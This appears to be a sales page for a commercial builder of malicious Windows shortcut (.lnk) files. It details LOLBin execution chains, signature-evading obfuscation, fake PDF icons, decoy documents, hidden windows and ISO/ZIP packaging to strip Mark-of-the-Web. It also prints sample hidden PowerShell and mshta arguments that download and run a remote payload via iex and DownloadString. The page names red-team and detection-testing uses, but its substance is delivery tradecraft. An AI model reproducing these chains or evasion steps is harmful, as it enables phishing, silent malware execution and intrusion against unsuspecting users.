A Windows Shortcut (.lnk) is a structured binary file that tells explorer.exe what to launch when double-clicked. The format has dozens of fields — target path, command-line arguments, working directory, icon location, hotkey, and more — and Windows accepts very long, very flexible argument strings.
Exploit Builder abuses this flexibility. The generated .lnk targets a fully-trusted Windows binary (a LOLBin) such as powershell.exe, cmd.exe, mshta.exe, rundll32.exe, or conhost.exe, and passes a multi-stage argument chain that ultimately fetches and runs your payload. The shortcut itself contains no PE, no embedded executable — it's just text in a structured file.
URL or local embed. Either point to an HTTPS-hosted payload that the LOLBin chain fetches at click-time, or embed a small first-stage blob (script / shellcode) directly into the LNK argument string for fully-offline execution.
Choose execution host: powershell.exe, mshta.exe, rundll32, cmd.exe + curl, or a chained variant.
Pick an icon, set the visible name, optional decoy file, hidden window flag, and working-directory spoof.
Output is a single .lnk. Pack inside an .iso, .zip, or .img for MotW-friendly delivery.
Exploit Builder writes a fully-spec-compliant SHELL_LINK structure (HeaderBlock, LinkTargetIDList, LinkInfo, StringData, ExtraData). Targets parse correctly across Windows 7 through 11 24H2.
Pre-baked execution chains for: powershell.exe, pwsh.exe, cmd.exe, mshta.exe, rundll32.exe, regsvr32.exe, installutil, msbuild, and conhost.
Base64, hex, ROT, character-substitution, and FromBase64String+IEX chains. Variable-name randomization and whitespace padding to defeat static signatures.
Embed any .ico or auto-extract icons from system DLLs (imageres.dll, shell32.dll) so the LNK looks like a folder, PDF, document, or image.
Optional: drop & open a benign PDF/DOCX from the same archive so the user sees expected content while execution happens silently.
Sets SW_HIDE so the LOLBin window never flashes. Combined with conhost --headless or PowerShell -WindowStyle Hidden for full silence.
# Target: %SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe # Arguments (obfuscated, hidden window): -W 1 -nop -ep bypass -c "$u='https://...';" + ` "iex(New-Object Net.WebClient).DownloadString($u)" # Or via mshta (no PowerShell ETW): mshta.exe javascript:a=new ActiveXObject("WScript.Shell"); a.Run("powershell -nop -w 1 -c iex(...)",0);close();
| Output Format | Windows Shell Link (.lnk) per MS-SHLLINK spec |
|---|---|
| Delivery Mode | URL stager (LOLBin fetches at click) · Local embed (first-stage blob inside argument string) |
| OS Compatibility | Windows 7 / 8.1 / 10 / 11 (all builds incl. 24H2) |
| LOLBin Targets | powershell, pwsh, cmd, mshta, rundll32, regsvr32, installutil, msbuild |
| Argument Obfuscation | Base64 · Hex · ROT · char-substitution · variable randomization |
| Icon Sources | Custom .ico · embedded PNG · auto-extract from system DLLs |
| Window Style | Normal · Minimized · Hidden (SW_HIDE) |
| Decoy Support | Drop & open PDF / DOCX / image alongside execution |
| Recommended Carrier | .iso / .img / password-protected .zip (MotW-stripping) |
| Max Argument Length | ~4096 chars (Windows MAX_PATH × ~16 with override) |
Authorized phishing simulations where the lure is a "document" — LNK with PDF icon inside an ISO is a classic vector worth testing against.
Red team engagements needing a small, non-PE artifact that survives email gateways and executes via trusted LOLBins.
Generate samples to validate Sigma rules for suspicious LNK arguments, LOLBin parent-child chains, and Mark-of-the-Web bypasses.
Tune EDR detonation environments by feeding them LNKs with varied LOLBin targets and obfuscation styles.
Show users why a "PDF.lnk" inside a downloaded ZIP is dangerous — measurable click-through metrics.
Reproduce TTPs from APT29, Bumblebee, Emotet 2022+ resurgence, and other LNK-heavy campaigns for purple-team work.
All tiers include unlimited builds, every LOLBin target, full obfuscation, and updates within the term.
Bundle option. Need multiple builders? The All Modules Bundle covers every builder + both launchers at a steep discount.
Pick a tier above or talk to us — we'll match the right configuration to your engagement.